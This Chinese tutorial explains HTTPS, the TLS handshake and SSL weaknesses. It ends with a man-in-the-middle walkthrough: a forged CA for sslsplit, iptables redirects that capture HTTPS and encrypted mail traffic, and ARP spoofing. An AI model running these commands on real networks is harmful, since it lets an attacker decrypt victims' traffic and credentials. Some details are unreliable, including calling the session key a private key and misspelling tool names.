HTTPS及HTTPS中間人攻擊
HTTPS及HTTPS中間人攻擊,全站HTTPS正在稱為潮流趨勢,國內實現全站https的有淘寶和百度兩家。
一、https的作用
C I A:機密性,完整性,可用性(可用性是合法用戶可以訪問自己有權限訪問的資源)
解決的是信息傳輸中數據被篡改、竊取
加密:對稱、非對稱、單向
二、https工作原理
https的工作原理還是有必要研究下的(原理我也是從網上學習總結的,感謝這些前輩)
1. 客戶端發起HTTPS請求
用戶在瀏覽器里輸入一個https網址,然后連接到server的443端口。
2. 服務端的配置
采用HTTPS協議的服務器必須要有一套數字證書,可以自己制作,也可以向組織申請。區別就是自己頒發的證書需要客戶端驗證通過,才可以繼續訪問,而使用受信任的公司申請的證書則不會彈出提示頁面
web通信中的SSL加密的公鑰證書(受信任的第三方證書頒發機構簽名頒發)常見的如
- VeriSign
- Thawte
- GlobalSign
- Symantec
3. 傳送證書
這個證書其實就是公鑰,只是包含了很多信息,如證書的頒發機構,過期時間等等。
4. 客戶端解析證書
這部分工作是有客戶端的TLS來完成的,首先會驗證公鑰是否有效,比如頒發機構,過期時間等等,如果發現異常,則會彈出一個警告框,提示證書存在問題。如果證書沒有問題,那么就生成一個隨即值。然后用證書對該隨機值進行加密。
5. 傳送加密信息
這部分傳送的是用證書加密后的隨機值,目的就是讓服務端得到這個隨機值,以后客戶端和服務端的通信就可以通過這個隨機值來進行加密解密了。
6. 服務段解密信息
服務端用私鑰解密后,得到了客戶端傳過來的隨機值(私鑰),然后把內容通過該值進行對稱加密。所謂對稱加密就是,將信息和私鑰通過某種算法混合在一起,這樣除非知道私鑰,不然無法獲取內容,而正好客戶端和服務端都知道這個私鑰,所以只要加密算法夠彪悍,私鑰夠復雜,數據就夠安全。
7. 傳輸加密后的信息
這部分信息是服務段用私鑰加密后的信息,可以在客戶端被還原
8. 客戶端解密信息
客戶端用之前生成的私鑰解密服務段傳過來的信息,于是獲取了解密后的內容。整個過程第三方即使監聽到了數據,也束手無策。
大概過程如下:
握手——協商加密算法——獲得公鑰證書——驗證公鑰證書——交換會話密鑰——加密信息傳輸
三、SSL的弱點
1.ssl是不同的對稱、非對稱、單向加密算法的組合加密實現(cipher suite)
如密鑰交換、身份驗證使用RAS/Diffie-Hellman,加密數據,使用AES加密,有RAS/DH完成密鑰交換,摘要信息由HMAC-SHA2,組成了一個cipher suite,當然,也可以是其他組合。
2.服務器端為提供更好的兼容性,選擇支持大量過時的cipher suite。
3.協商過程中強迫降級加密強度。
4.現代處理器計算能力可以在接收的時間內破解過時加密算法。
5.黑客購買云計算資源破解。
四、HTTPS常見攻擊方式
針對其弱點,常見的https攻擊方法有
- 降級攻擊(把高安全級別的加密算法強制降成低安全級別的加密算法)
- 解密攻擊(明文、證書偽造)
- 協議漏洞、實現方法的漏洞、配置不嚴格
五、HTTPS證書查看
在進行中間人攻擊之前,先查看下證書,可以使用以下軟件(以百度為例)
1. OpenSSL
OpenSSL是一個安全套接字層密碼庫,囊括主要的密碼算法、常用的密鑰和證書封裝管理功能及SSL協議,并提供豐富的應用程序供測試或其它目的使用。
直接調用openssl庫識別目標服務器支持的SSL/TLS cipher suite
openssl s_client -connect www.baidu.com:443,
2. sslcan
SSLscan主要探測基于ssl的服務,如https。SSLscan是一款探測目標服務器所支持的SSL加密算法工具。
sslcan能自動識別ssl配置錯誤,過期協議,過時cipher suite和hash算法
默認會檢查CRIME、heartbled漏洞,綠色表示安全、紅色黃色需要引起注意
sslscan -tlsall www.baidu.com:443
分析證書詳細數據
sslscan -show-certificate --no-ciphersuites www.baidu.com:443
3. nmap
還可以使用nmap的腳本。
nmap --script=ssl-enm-ciphers.nse www.baidu.com
六、https中間人攻擊
1. 先生成一個證書
openssl req -new -x509 -days 1096 -key ca.key -out ca.crt,進行一個新的請求,格式為-x509,現在的證書基本是x509的國際標準的證書格式,有效期為1096天,并使用ca.key私鑰,生成ca.crt標準的證書文件。
sslsplit會自動的調用根證書,根據你要訪問哪些網站,根據網站的名稱,由根證書簽發一個專門針對網站的證書。
2.開啟路由功能
中間人也是個終端設備,不具有路由功能,轉發過程不是由軟件實現的,是由操作系統的路由功能實現的。
sysctl -w net.ipv4.ip_forward=1,將net.ipv4.ip_forward=1的值設為1,當然用輸出重定向或者vim編輯proc/sys/net/ipv4/ip_forward也可。
3.寫轉發規則
iptables端口轉發規則
當客戶端把請求發給中間人終端設備的時候,發到終端的443端口之后,需要用iptables做NAT地址轉換,其實是端口轉換,把本地443端口收到的包轉發到另外一個端口,而另外一個端口由sslsplit所偵聽的端口,這樣的話,凡是發給443端口的請求流量就會發給slsplit所偵聽的端口,而sslsplit就會調用證書偽造一個看起來是目標網站的偽造網站,sslsplit會利用偽造的證書對發過來的流量進行解密
iptables -t nat -L 查看net的配置,為避免干擾,可以使用iptables -F清空配置,并使用netstat -pantu | grep :80 ,netstat -pantu | grep :443檢查80和443是否被使用,使用則停止進程
將80、443端口進行轉發給8080和8443端口。
- iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
- iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
當然還可以對其他的協議的加密流量進行中間人攻擊。
- iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 //MSA
- iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 //SMTPS
- iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 //IMAPS
- iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 //POP3S
4. 進行arp欺騙
使用arpspoof進行arp欺騙,不管是進行DNS欺騙還是HTTP或HTTPS的中間人攻擊,arp欺騙都是前提,所以,在進行防御的時候,將ip和MAC綁定,就可以防止中間人攻擊了。